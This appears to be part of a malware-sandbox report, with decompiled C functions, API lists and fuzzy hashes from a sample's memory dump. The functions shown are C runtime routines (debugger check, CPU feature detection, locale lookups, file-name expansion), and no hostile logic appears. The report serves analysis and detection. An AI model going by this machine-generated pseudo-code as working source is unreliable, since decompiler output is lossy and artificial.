Opcode ID: 1fcac98c11902b44eaa6d513564f9c607318998a38525dea3ce738314f36f839
Instruction ID: 2bd5c721c5fcb94935e4f6be14f52691898d4700b66d850c1932820e951b2741
Opcode Fuzzy Hash: 1fcac98c11902b44eaa6d513564f9c607318998a38525dea3ce738314f36f839
Instruction Fuzzy Hash: 1F6195716102279FDB289F25EC82BB7B3A8EF44704F5440BBE905C6285E738DD81CB99

Uniqueness

Uniqueness Score: -1.00%

Function 00417E53 Relevance: 4.6, APIs: 3, Instructions: 77
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 78%

			E00417E53(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v0;
				signed int _v8;
				intOrPtr _v524;
				intOrPtr _v528;
				void* _v532;
				intOrPtr _v536;
				char _v540;
				intOrPtr _v544;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				intOrPtr _v560;
				intOrPtr _v564;
				intOrPtr _v568;
				intOrPtr _v572;
				intOrPtr _v576;
				intOrPtr _v580;
				intOrPtr _v584;
				char _v724;
				intOrPtr _v792;
				intOrPtr _v800;
				char _v804;
				struct _EXCEPTION_POINTERS _v812;
				void* __edi;
				signed int _t40;
				char* _t47;
				char* _t49;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t65;
				intOrPtr _t66;
				int _t67;
				intOrPtr _t68;
				signed int _t69;

				_t68 = __esi;
				_t65 = __edx;
				_t60 = __ebx;
				_t40 =  *0x443048; // 0x7239e5fc
				_t41 = _t40 ^ _t69;
				_v8 = _t40 ^ _t69;
				if(_a4 != 0xffffffff) {
					_push(_a4);
					E00413F8E(_t41);
					_pop(_t61);
				}
				E00415180(_t66,  &_v804, 0, 0x50);
				E00415180(_t66,  &_v724, 0, 0x2cc);
				_v812.ExceptionRecord =  &_v804;
				_t47 =  &_v724;
				_v812.ContextRecord = _t47;
				_v548 = _t47;
				_v552 = _t61;
				_v556 = _t65;
				_v560 = _t60;
				_v564 = _t68;
				_v568 = _t66;
				_v524 = ss;
				_v536 = cs;
				_v572 = ds;
				_v576 = es;
				_v580 = fs;
				_v584 = gs;
				asm("pushfd");
				_pop( *_t22);
				_v540 = _v0;
				_t49 =  &_v0;
				_v528 = _t49;
				_v724 = 0x10001;
				_v544 =  *((intOrPtr*)(_t49 - 4));
				_v804 = _a8;
				_v800 = _a12;
				_v792 = _v0;
				_t67 = IsDebuggerPresent();
				SetUnhandledExceptionFilter(0);
				if(UnhandledExceptionFilter( &_v812) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
					_push(_a4);
					_t57 = E00413F8E(_t57);
				}
				return E0041361E(_t57, _t60, _v8 ^ _t69, _t65, _t67, _t68);
			}

0x00417e53
0x00417e53
0x00417e53
0x00417e5e
0x00417e63
0x00417e65
0x00417e6d
0x00417e6f
0x00417e72
0x00417e77
0x00417e77
0x00417e83
0x00417e96
0x00417ea4
0x00417eaa
0x00417eb0
0x00417eb6
0x00417ebc
0x00417ec2
0x00417ec8
0x00417ece
0x00417ed4
0x00417eda
0x00417ee1
0x00417ee8
0x00417eef
0x00417ef6
0x00417efd
0x00417f04
0x00417f05
0x00417f0e
0x00417f14
0x00417f17
0x00417f1d
0x00417f2a
0x00417f33
0x00417f3c
0x00417f45
0x00417f53
0x00417f55
0x00417f6a
0x00417f76
0x00417f79
0x00417f7e
0x00417f8b

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00417F4B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00417F55
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00417F62

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 8ec714e12ae7b128a46a4408e36659fd50e9308bbddc07f0adf5f3c5ff48a332
Instruction ID: 0f1df055cd3c241758f2c3142034cd1ebe2107538da7602209f528a78068d6d9
Opcode Fuzzy Hash: 8ec714e12ae7b128a46a4408e36659fd50e9308bbddc07f0adf5f3c5ff48a332
Instruction Fuzzy Hash: A031B274941228ABCB21DF25D9897CDBBB8BF18311F5042EAE40CA7250EB749FC58F49

Uniqueness

Uniqueness Score: -1.00%

Function 00423431 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,0041F752,?,20001004,00000000,00000002,?,?,0041ED54), ref: 00423465

Strings

0'@, xrefs: 00423450

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: InfoLocale
String ID: 0'@
API String ID: 2299586839-1999884151
Opcode ID: c8229f7746bc158f5fbe8b296d7951ade04d501f6ec7cd96f2d52353943caad9
Instruction ID: 26994373bb32126ae1ee7594069622b97e7e651582fef90fa22001185f41c7fd
Opcode Fuzzy Hash: c8229f7746bc158f5fbe8b296d7951ade04d501f6ec7cd96f2d52353943caad9
Instruction Fuzzy Hash: F9E04F31600528BBCF132F62EC05A9E7F36EF44B63F444426FD0566221CB7D8F21AA99

Uniqueness

Uniqueness Score: -1.00%

Function 00413A75 Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00413A75(signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _t60;
				signed int _t61;
				signed int _t62;
				signed int _t63;
				signed int _t66;
				signed int _t67;
				signed int _t73;
				intOrPtr _t74;
				intOrPtr _t75;
				intOrPtr* _t77;
				signed int _t78;
				intOrPtr* _t82;
				signed int _t85;
				signed int _t90;
				intOrPtr* _t93;
				signed int _t96;
				signed int _t99;
				signed int _t104;

				_t90 = __edx;
				 *0x444464 =  *0x444464 & 0x00000000;
				 *0x443050 =  *0x443050 | 0x00000001;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L23:
					return 0;
				}
				_v20 = _v20 & 0x00000000;
				_push(_t74);
				_t93 =  &_v40;
				asm("cpuid");
				_t75 = _t74;
				 *_t93 = 0;
				 *((intOrPtr*)(_t93 + 4)) = _t74;
				 *((intOrPtr*)(_t93 + 8)) = 0;
				 *(_t93 + 0xc) = _t90;
				_v16 = _v40;
				_v8 = _v28 ^ 0x49656e69;
				_v12 = _v32 ^ 0x6c65746e;
				_push(_t75);
				asm("cpuid");
				_t77 =  &_v40;
				 *_t77 = 1;
				 *((intOrPtr*)(_t77 + 4)) = _t75;
				 *((intOrPtr*)(_t77 + 8)) = 0;
				 *(_t77 + 0xc) = _t90;
				if((_v8 | _v12 | _v36 ^ 0x756e6547) != 0) {
					L9:
					_t96 =  *0x444468; // 0x2
					L10:
					_t85 = _v32;
					_t60 = 7;
					_v8 = _t85;
					if(_v16 < _t60) {
						_t78 = _v20;
					} else {
						_push(_t77);
						asm("cpuid");
						_t82 =  &_v40;
						 *_t82 = _t60;
						 *((intOrPtr*)(_t82 + 4)) = _t77;
						 *((intOrPtr*)(_t82 + 8)) = 0;
						_t85 = _v8;
						 *(_t82 + 0xc) = _t90;
						_t78 = _v36;
						if((_t78 & 0x00000200) != 0) {
							 *0x444468 = _t96 | 0x00000002;
						}
					}
					_t61 =  *0x443050; // 0x6f
					_t62 = _t61 | 0x00000002;
					 *0x444464 = 1;
					 *0x443050 = _t62;
					if((_t85 & 0x00100000) != 0) {
						_t63 = _t62 | 0x00000004;
						 *0x444464 = 2;
						 *0x443050 = _t63;
						if((_t85 & 0x08000000) != 0 && (_t85 & 0x10000000) != 0) {
							asm("xgetbv");
							_v24 = _t63;
							_v20 = _t90;
							_t104 = 6;
							if((_v24 & _t104) == _t104) {
								_t66 =  *0x443050; // 0x6f
								_t67 = _t66 | 0x00000008;
								 *0x444464 = 3;
								 *0x443050 = _t67;
								if((_t78 & 0x00000020) != 0) {
									 *0x444464 = 5;
									 *0x443050 = _t67 | 0x00000020;
									if((_t78 & 0xd0030000) == 0xd0030000 && (_v24 & 0x000000e0) == 0xe0) {
										 *0x443050 =  *0x443050 | 0x00000040;
										 *0x444464 = _t104;
									}
								}
							}
						}
					}
					goto L23;
				}
				_t73 = _v40 & 0x0fff3ff0;
				if(_t73 == 0x106c0 || _t73 == 0x20660 || _t73 == 0x20670 || _t73 == 0x30650 || _t73 == 0x30660 || _t73 == 0x30670) {
					_t99 =  *0x444468; // 0x2
					_t96 = _t99 | 0x00000001;
					 *0x444468 = _t96;
					goto L10;
				} else {
					goto L9;
				}
			}

0x00413a75
0x00413a78
0x00413a82
0x00413a93
0x00413c45
0x00413c48
0x00413c48
0x00413a99
0x00413a9f
0x00413aa4
0x00413aa8
0x00413aac
0x00413aae
0x00413ab0
0x00413ab3
0x00413ab8
0x00413ac1
0x00413ad2
0x00413add
0x00413ae3
0x00413ae4
0x00413aea
0x00413aed
0x00413af7
0x00413afa
0x00413afd
0x00413b00
0x00413b45
0x00413b45
0x00413b4b
0x00413b4b
0x00413b50
0x00413b51
0x00413b57
0x00413b89
0x00413b59
0x00413b5b
0x00413b5c
0x00413b62
0x00413b65
0x00413b67
0x00413b6a
0x00413b6d
0x00413b70
0x00413b73
0x00413b7c
0x00413b81
0x00413b81
0x00413b7c
0x00413b8c
0x00413b91
0x00413b94
0x00413b9e
0x00413ba9
0x00413baf
0x00413bb2
0x00413bbc
0x00413bc7
0x00413bd3
0x00413bd6
0x00413bd9
0x00413be4
0x00413be9
0x00413beb
0x00413bf0
0x00413bf3
0x00413bfd
0x00413c05
0x00413c0a
0x00413c14
0x00413c22
0x00413c35
0x00413c3c
0x00413c3c
0x00413c22
0x00413c05
0x00413be9
0x00413bc7
0x00000000
0x00413c44
0x00413b05
0x00413b0f
0x00413b34
0x00413b3a
0x00413b3d
0x00000000
0x00000000
0x00000000
0x00000000

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00413A8B

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: f12052dfdf4eec6d4ee5c056bec4c25f9eef27489052af0526b3fceb88185073
Instruction ID: 672423d78a880ab3ac9c4519d5476871742042cf14ee69d1d4eb3a8e2a1c8a8d
Opcode Fuzzy Hash: f12052dfdf4eec6d4ee5c056bec4c25f9eef27489052af0526b3fceb88185073
Instruction Fuzzy Hash: 48519EB5901605CFEB18CF58D9827AEBBF4FB85711F14816AC405EB355E378AA80CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00428390 Relevance: 1.6, APIs: 1, Instructions: 140
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E00428390(void* __ecx, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16) {
				signed int _v8;
				signed int _v12;
				intOrPtr* _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				signed int _v48;
				struct _WIN32_FIND_DATAW _v604;
				char _v605;
				void* _v612;
				signed int _v616;
				union _FINDEX_INFO_LEVELS _v620;
				union _FINDEX_INFO_LEVELS _v624;
				signed int _v628;
				union _FINDEX_INFO_LEVELS _v632;
				char _v636;
				signed int _v640;
				union _FINDEX_INFO_LEVELS _v644;
				union _FINDEX_INFO_LEVELS _v648;
				signed int _v652;
				union _FINDEX_INFO_LEVELS _v656;
				char _v660;
				signed int _v664;
				signed int _v668;
				signed int _v672;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t72;
				signed int _t77;
				signed int _t79;
				char _t81;
				signed char _t82;
				signed int _t88;
				signed int _t94;
				signed int _t100;
				signed int _t103;
				signed int _t104;
				signed int _t106;
				intOrPtr* _t112;
				signed int _t115;
				intOrPtr _t125;
				signed int _t127;
				signed int _t130;
				signed int _t132;
				void* _t135;
				void* _t137;
				intOrPtr _t139;
				intOrPtr* _t142;
				signed int _t144;
				void* _t146;
				intOrPtr* _t147;
				signed int _t156;
				void* _t164;
				signed int _t167;
				intOrPtr _t169;
				void* _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				signed int _t176;
				signed int _t177;
				signed int _t180;
				void* _t181;
				signed int _t182;
				void* _t183;
				void* _t184;

				_push(__ecx);
				_t142 = _a4;
				_t2 = _t142 + 1; // 0x1
				_t164 = _t2;
				do {
					_t72 =  *_t142;
					_t142 = _t142 + 1;
				} while (_t72 != 0);
				_t167 = _a12;
				_t144 = _t142 - _t164 + 1;
				_v8 = _t144;
				if(_t144 <=  !_t167) {
					_t5 = _t167 + 1; // 0x1
					_t135 = _t5 + _t144;
					_t174 = E00420CEC(_t135, 1);
					_t146 = _t173;
					__eflags = _t167;
					if(_t167 == 0) {
						L7:
						_push(_v8);
						_t135 = _t135 - _t167;
						_t77 = E0042EB08(_t146, _t174 + _t167, _t135, _a4);
						_t182 = _t181 + 0x10;
						__eflags = _t77;
						if(_t77 != 0) {
							goto L12;
						} else {
							_t139 = _a16;
							_t127 = E0042872B(_t139);
							_v8 = _t127;
							__eflags = _t127;
							if(_t127 == 0) {
								 *( *(_t139 + 4)) = _t174;
								_t177 = 0;
								_t14 = _t139 + 4;
								 *_t14 =  *(_t139 + 4) + 4;
								__eflags =  *_t14;
							} else {
								E00421955(_t174);
								_t177 = _v8;
							}
							E00421955(0);
							_t130 = _t177;
							goto L4;
						}
					} else {
						_push(_t167);
						_t132 = E0042EB08(_t146, _t174, _t135, _a8);
						_t182 = _t181 + 0x10;
						__eflags = _t132;
						if(_t132 != 0) {
							L12:
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							E0041807C();
							asm("int3");
							_t180 = _t182;
							_t183 = _t182 - 0x298;
							_t79 =  *0x443048; // 0x7239e5fc
							_v48 = _t79 ^ _t180;
							_t147 = _v32;
							_t165 = _v28;
							_push(_t135);
							_push(0);
							_t169 = _v36;
							_v648 = _t165;
							__eflags = _t147 - _t169;
							if(_t147 != _t169) {
								while(1) {
									_t125 =  *_t147;
									__eflags = _t125 - 0x2f;
									if(_t125 == 0x2f) {
										break;
									}
									__eflags = _t125 - 0x5c;
									if(_t125 != 0x5c) {
										__eflags = _t125 - 0x3a;
										if(_t125 != 0x3a) {
											_t147 = E0042F9C0(_t169, _t147);
											__eflags = _t147 - _t169;
											if(_t147 != _t169) {
												continue;
											}
										}
									}
									break;
								}
								_t165 = _v612;
							}
							_t81 =  *_t147;
							_v605 = _t81;
							__eflags = _t81 - 0x3a;
							if(_t81 != 0x3a) {
								L23:
								__eflags = _t81 - 0x2f;
								if(__eflags == 0) {
									L26:
									_t82 = 1;
								} else {
									__eflags = _t81 - 0x5c;
									if(__eflags == 0) {
										goto L26;
									} else {
										__eflags = _t81 - 0x3a;
										_t82 = 0;
										if(__eflags == 0) {
											goto L26;
										}
									}
								}
								_v660 = 0;
								_v656 = 0;
								_push(_t174);
								asm("sbb eax, eax");
								_v652 = 0;
								_v648 = 0;
								_v664 =  ~(_t82 & 0x000000ff) & _t147 - _t169 + 0x00000001;
								_v644 = 0;
								_v640 = 0;
								_t88 = E0041D39D(_t147 - _t169 + 1, _t169,  &_v660, E00427F9A(_t165, __eflags));
								_t184 = _t183 + 0xc;
								asm("sbb eax, eax");
								_t175 = FindFirstFileExW( !( ~_t88) & _v652, 0,  &_v604, 0, 0, 0);
								__eflags = _t175 - 0xffffffff;
								if(_t175 != 0xffffffff) {
									_t151 = _v612;
									_t94 =  *((intOrPtr*)(_v612 + 4)) -  *_v612;
									__eflags = _t94;
									_v668 = _t94 >> 2;
									do {
										_v636 = 0;
										_v632 = 0;
										_v628 = 0;
										_v624 = 0;
										_v620 = 0;
										_v616 = 0;
										_t100 = E0042814D( &(_v604.cFileName),  &_v636,  &_v605, E00427F9A(_t165, __eflags));
										_t184 = _t184 + 0x10;
										asm("sbb eax, eax");
										_t103 =  !( ~_t100) & _v628;
										__eflags =  *_t103 - 0x2e;
										if( *_t103 != 0x2e) {
											L36:
											_push(_v612);
											_t104 = E00428390(_t151, _t103, _t169, _v664);
											_t184 = _t184 + 0x10;
											_v672 = _t104;
											__eflags = _t104;
											if(_t104 != 0) {
												__eflags = _v616;
												if(_v616 != 0) {
													E00421955(_v628);
												}
												FindClose(_t175);
												__eflags = _v640;
												if(_v640 != 0) {
													E00421955(_v652);
												}
												_t106 = _v672;
											} else {
												goto L37;
											}
										} else {
											_t151 =  *((intOrPtr*)(_t103 + 1));
											__eflags = _t151;
											if(_t151 == 0) {
												goto L37;
											} else {
												__eflags = _t151 - 0x2e;
												if(_t151 != 0x2e) {
													goto L36;
												} else {
													__eflags =  *(_t103 + 2);
													if( *(_t103 + 2) == 0) {
														goto L37;
													} else {
														goto L36;
													}
												}
											}
										}
										goto L50;
										L37:
										__eflags = _v616;
										if(_v616 != 0) {
											E00421955(_v628);
											_pop(_t151);
										}
										__eflags = FindNextFileW(_t175,  &_v604);
									} while (__eflags != 0);
									_t112 = _v612;
									_t156 = _v668;
									_t165 =  *_t112;
									_t115 =  *((intOrPtr*)(_t112 + 4)) -  *_t112 >> 2;
									__eflags = _t156 - _t115;
									if(_t156 != _t115) {
										__eflags = _t115 - _t156;
										E0042F490(_t165, _t165 + _t156 * 4, _t115 - _t156, 4, E00428135);
									}
									FindClose(_t175);
									__eflags = _v640;
									if(_v640 != 0) {
										E00421955(_v652);
									}
									_t106 = 0;
								} else {
									_push(_v612);
									_t176 = E00428390( &_v604, _t169, 0, 0);
									__eflags = _v640;
									if(_v640 != 0) {
										E00421955(_v652);
									}
									_t106 = _t176;
								}
								L50:
								_pop(_t174);
							} else {
								__eflags = _t147 - _t169 + 1;
								if(_t147 == _t169 + 1) {
									_t81 = _v605;
									goto L23;
								} else {
									_push(_t165);
									_t106 = E00428390(_t147, _t169, 0, 0);
								}
							}
							_pop(_t170);
							__eflags = _v12 ^ _t180;
							_pop(_t137);
							return E0041361E(_t106, _t137, _v12 ^ _t180, _t165, _t170, _t174);
						} else {
							goto L7;
						}
					}
				} else {
					_t130 = 0xc;
					L4:
					return _t130;
				}
			}

0x00428395
0x00428396
0x00428399
0x00428399
0x0042839c
0x0042839c
0x0042839e
0x0042839f
0x004283a4
0x004283ab
0x004283ae
0x004283b3
0x004283bd
0x004283c0
0x004283ca
0x004283cd
0x004283ce
0x004283d0
0x004283e4
0x004283e4
0x004283e7
0x004283f1
0x004283f6
0x004283f9
0x004283fb
0x00000000
0x004283fd
0x004283fd
0x00428402
0x00428409
0x0042840c
0x0042840e
0x0042841f
0x00428421
0x00428423
0x00428423
0x00428423
0x00428410
0x00428411
0x00428416
0x00428419
0x00428428
0x0042842e
0x00000000
0x00428431
0x004283d2
0x004283d2
0x004283d8
0x004283dd
0x004283e0
0x004283e2
0x00428434
0x00428436
0x00428437
0x00428438
0x00428439
0x0042843a
0x0042843b
0x00428440
0x00428444
0x00428446
0x0042844c
0x00428453
0x00428456
0x00428459
0x0042845c
0x0042845d
0x0042845e
0x00428461
0x00428467
0x00428469
0x0042846b
0x0042846b
0x0042846d
0x0042846f
0x00000000
0x00000000
0x00428471
0x00428473
0x00428475
0x00428477
0x00428482
0x00428484
0x00428486
0x00000000
0x00000000
0x00428486
0x00428477
0x00000000
0x00428473
0x00428488
0x00428488
0x0042848e
0x00428490
0x00428496
0x00428498
0x004284ba
0x004284bc
0x004284be
0x004284ca
0x004284ca
0x004284c0
0x004284c0
0x004284c2
0x00000000
0x004284c4
0x004284c4
0x004284c6
0x004284c8
0x00000000
0x00000000
0x004284c8
0x004284c2
0x004284d2
0x004284da
0x004284e0
0x004284e1
0x004284e3
0x004284eb
0x004284f1
0x004284f7
0x004284fd
0x00428511
0x00428516
0x00428521
0x00428537
0x00428539
0x0042853c
0x0042856c
0x00428575
0x00428575
0x0042857a
0x00428580
0x00428580
0x00428586
0x0042858c
0x00428592
0x00428598
0x0042859e
0x004285bf
0x004285c4
0x004285c9
0x004285cd
0x004285d3
0x004285d6
0x004285e9
0x004285e9
0x004285f7
0x004285fc
0x004285ff
0x00428605
0x00428607
0x00428682
0x00428688
0x00428690
0x00428695
0x00428697
0x0042869d
0x004286a3
0x004286ab
0x004286b0
0x004286b1
0x00000000
0x00000000
0x00000000
0x004285d8
0x004285d8
0x004285db
0x004285dd
0x00000000
0x004285df
0x004285df
0x004285e2
0x00000000
0x004285e4
0x004285e4
0x004285e7
0x00000000
0x00000000
0x00000000
0x00000000
0x004285e7
0x004285e2
0x004285dd
0x00000000
0x00428609
0x00428609
0x0042860f
0x00428617
0x0042861c
0x0042861c
0x0042862b
0x0042862b
0x00428633
0x00428639
0x0042863f
0x00428646
0x00428649
0x0042864b
0x00428652
0x0042865b
0x00428660
0x00428664
0x0042866a
0x00428670
0x00428678
0x0042867d
0x0042867e
0x0042853e
0x0042853e
0x0042854f
0x00428551
0x00428557
0x0042855f
0x00428564
0x00428565
0x00428565
0x004286b7
0x004286b7
0x0042849a
0x0042849d
0x0042849f
0x004284b4
0x00000000
0x004284a1
0x004284a1
0x004284a7
0x004284ac
0x0042849f
0x004286bb
0x004286bc
0x004286be
0x004286c5
0x00000000
0x00000000
0x00000000
0x004283e2
0x004283b5
0x004283b7
0x004283b8
0x004283ba
0x004283ba

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a2851c78cb641dc8751c87f22a5c31f2ec5344f90778a4143148a6754006df4a
Instruction ID: d2a889c4e4ab22da45b13c231c901af6bbb2b415ccc49b1eaa155dbaf1fc4cc7
Opcode Fuzzy Hash: a2851c78cb641dc8751c87f22a5c31f2ec5344f90778a4143148a6754006df4a
Instruction Fuzzy Hash: 0B41A6B5905229AFDB10DF69DC89AAEBBB8AF45304F5442DEE40CD3201DA359E858F14

Uniqueness

Uniqueness Score: -1.00%

Function 0042B74F Relevance: 1.6, APIs: 1, Instructions: 83
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0042B74F(void* __ecx, void* __edx, intOrPtr _a4) {
				signed int _v8;
				short _v248;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t15;
				signed int _t21;
				void* _t23;
				void* _t30;
				void* _t32;
				signed int _t41;
				signed int* _t47;
				int _t49;
				signed int _t50;

				_t46 = __edx;
				_t15 =  *0x443048; // 0x7239e5fc
				_v8 = _t15 ^ _t50;
				_t48 = _a4;
				_t32 = E00420590(__ecx, __edx, _a4);
				_t47 =  *(E00420590(__ecx, __edx, _a4) + 0x34c);
				_t49 = E0042B824(_t48);
				asm("sbb ecx, ecx");
				_t21 = GetLocaleInfoW(_t49, ( ~( *(_t32 + 0x60)) & 0xfffff002) + 0x1001,  &_v248, 0x78);
				if(_t21 != 0) {
					_t23 = E00427E64(_t47, _t49,  *((intOrPtr*)(_t32 + 0x50)),  &_v248);
					_t41 =  *(_t32 + 0x60);
					if(_t23 != 0) {
						if(_t41 == 0 &&  *((intOrPtr*)(_t32 + 0x5c)) != _t41) {
							_t30 = E00427E64(_t47, _t49,  *((intOrPtr*)(_t32 + 0x50)),  &_v248);
							if(_t30 == 0) {
								_push(_t47);
								_push(_t30);
								goto L9;
							}
						}
					} else {
						if(_t41 != 0) {
							L10:
							 *_t47 =  *_t47 | 0x00000004;
							_t47[1] = _t49;
							_t47[2] = _t49;
						} else {
							_push(_t47);
							_push(1);
							L9:
							_push(_t49);
							if(E0042B97E() != 0) {
								goto L10;
							}
						}
					}
					_t27 =  !( *_t47 >> 2) & 0x00000001;
				} else {
					 *_t47 =  *_t47 & _t21;
					_t27 = _t21 + 1;
				}
				return E0041361E(_t27, _t32, _v8 ^ _t50, _t46, _t47, _t49);
			}

0x0042b74f
0x0042b75a
0x0042b761
0x0042b766
0x0042b76f
0x0042b777
0x0042b786
0x0042b792
0x0042b7a3
0x0042b7ab
0x0042b7bc
0x0042b7c3
0x0042b7c8
0x0042b7d5
0x0042b7e6
0x0042b7ef
0x0042b7f1
0x0042b7f2
0x00000000
0x0042b7f2
0x0042b7ef
0x0042b7ca
0x0042b7cc
0x0042b800
0x0042b800
0x0042b803
0x0042b806
0x0042b7ce
0x0042b7ce
0x0042b7cf
0x0042b7f3
0x0042b7f3
0x0042b7fe
0x00000000
0x00000000
0x0042b7fe
0x0042b7cc
0x0042b810
0x0042b7ad
0x0042b7ad
0x0042b7af
0x0042b7af
0x0042b821

APIs

Part of subcall function 00420590: GetLastError.KERNEL32(?,00000008,00427C89), ref: 00420594
Part of subcall function 00420590: SetLastError.KERNEL32(00000000,?,00000008,000000FF), ref: 00420636

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0042B7A3

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 7463fdf6539469b88c41cb582bb761eb88bd5e67252c2e06de94d6500565ebf3
Instruction ID: 0ac6a602e87faf57b924cd42c56e0df9e0fe7f879a3993de3b265791f1f33201
Opcode Fuzzy Hash: 7463fdf6539469b88c41cb582bb761eb88bd5e67252c2e06de94d6500565ebf3
Instruction Fuzzy Hash: 2E21A171711226ABDB28AF15EC42A7B73ACEF54714F54407FE905C6241EB38ED40CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 0042B3D6 Relevance: 1.6, APIs: 1, Instructions: 63
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 91%

			E0042B3D6(void* __ecx, void* __edx, signed int* _a4) {
				void* __esi;
				void* __ebp;
				intOrPtr _t26;
				intOrPtr _t29;
				signed int _t32;
				signed char _t33;
				signed char _t34;
				intOrPtr* _t38;
				intOrPtr* _t41;
				signed int _t47;
				void* _t50;
				void* _t51;
				signed int* _t52;
				void* _t53;
				void* _t54;
				signed int _t62;

				_t54 = E00420590(__ecx, __edx, _t53);
				_t47 = 2;
				_t38 =  *((intOrPtr*)(_t54 + 0x50));
				_t50 = _t38 + 2;
				do {
					_t26 =  *_t38;
					_t38 = _t38 + _t47;
				} while (_t26 != 0);
				_t41 =  *((intOrPtr*)(_t54 + 0x54));
				 *(_t54 + 0x60) = 0 | _t38 - _t50 >> 0x00000001 == 0x00000003;
				_t51 = _t41 + 2;
				do {
					_t29 =  *_t41;
					_t41 = _t41 + _t47;
				} while (_t29 != 0);
				_t52 = _a4;
				 *(_t54 + 0x64) = 0 | _t41 - _t51 >> 0x00000001 == 0x00000003;
				_t52[1] = 0;
				if( *(_t54 + 0x60) == 0) {
					_t47 = E0042B4D0( *((intOrPtr*)(_t54 + 0x50)));
				}
				 *(_t54 + 0x5c) = _t47;
				_t32 = EnumSystemLocalesW(E0042B4FC, 1);
				_t62 =  *_t52 & 0x00000007;
				asm("bt ecx, 0x9");
				_t33 = _t32 & 0xffffff00 | _t62 > 0x00000000;
				asm("bt ecx, 0x8");
				_t34 = _t33 & 0xffffff00 | _t62 > 0x00000000;
				if((_t34 & (_t47 & 0xffffff00 | _t62 != 0x00000000) & _t33) == 0) {
					 *_t52 = 0;
					return _t34;
				}
				return _t34;
			}

0x0042b3e3
0x0042b3e9
0x0042b3ea
0x0042b3ed
0x0042b3f0
0x0042b3f0
0x0042b3f3
0x0042b3f5
0x0042b403
0x0042b409
0x0042b40c
0x0042b40f
0x0042b40f
0x0042b412
0x0042b414
0x0042b41d
0x0042b428
0x0042b42b
0x0042b431
0x0042b43c
0x0042b43c
0x0042b445
0x0042b448
0x0042b450
0x0042b456
0x0042b45a
0x0042b45f
0x0042b463
0x0042b468
0x0042b46a
0x00000000
0x0042b46a
0x0042b470

APIs

Part of subcall function 00420590: GetLastError.KERNEL32(?,00000008,00427C89), ref: 00420594
Part of subcall function 00420590: SetLastError.KERNEL32(00000000,?,00000008,000000FF), ref: 00420636

EnumSystemLocalesW.KERNEL32(0042B4FC,00000001,00000000,?,-00000050,?,0042BB2D,00000000,?,?,?,00000055,?), ref: 0042B448

Memory Dump Source

Source File: 0000000E.00000002.576910103.0000000000400000.00000040.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_336E.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 4a42c23b6a449a19ce65b80664115526c9ad1ab6432036e31bfaa55824555ee3
Instruction ID: 43a386682e75942e12222d4ef1c629f9c915ec6b6c4ff2abf4f6728031839f98
Opcode Fuzzy Hash: 4a42c23b6a449a19ce65b80664115526c9ad1ab6432036e31bfaa55824555ee3
Instruction Fuzzy Hash: 1E1129363007055FDB18AF39D8D157BB791FF80358B54442EE94687B42D375B942CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0042B97E Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 87%

			E0042B97E(signed int _a4, intOrPtr _a8) {
				short _v8;
